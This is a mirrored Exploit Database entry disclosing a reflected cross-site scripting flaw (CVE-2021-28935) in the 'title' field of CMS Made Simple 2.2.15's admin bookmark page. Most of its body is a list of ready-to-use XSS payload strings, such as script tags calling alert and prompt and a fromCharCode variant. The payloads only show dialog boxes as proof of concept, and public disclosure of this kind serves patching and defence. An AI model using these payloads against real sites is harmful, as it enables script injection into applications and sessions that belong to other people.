CMS Made Simple 2.2.15 – ‘title’ Cross-Site Scripting (XSS)

• Exploit Database
• 118 阅读

• 作者： bt0
  日期： 2021-04-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49793/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23

  # Exploit Title: CMS Made Simple 2.2.15 - &apos;title&apos; Cross-Site Scripting (XSS) # Date: 2021/03/19 # Exploit Author: bt0 # Vendor Homepage: http://www.cmsmadesimple.org/ # Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip # Version: 2.2.15 # CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935   -----------------------------------------------------------   If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field   Reflected XSS in /admin/addbookmark.php   Some payloads that works:   "><script>prompt(1)</script><" "><script>alert(1)</script><" 63311&apos;;alert(1)//812 //--></SCRIPT>">&apos;><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>   ------------------------------------------------------------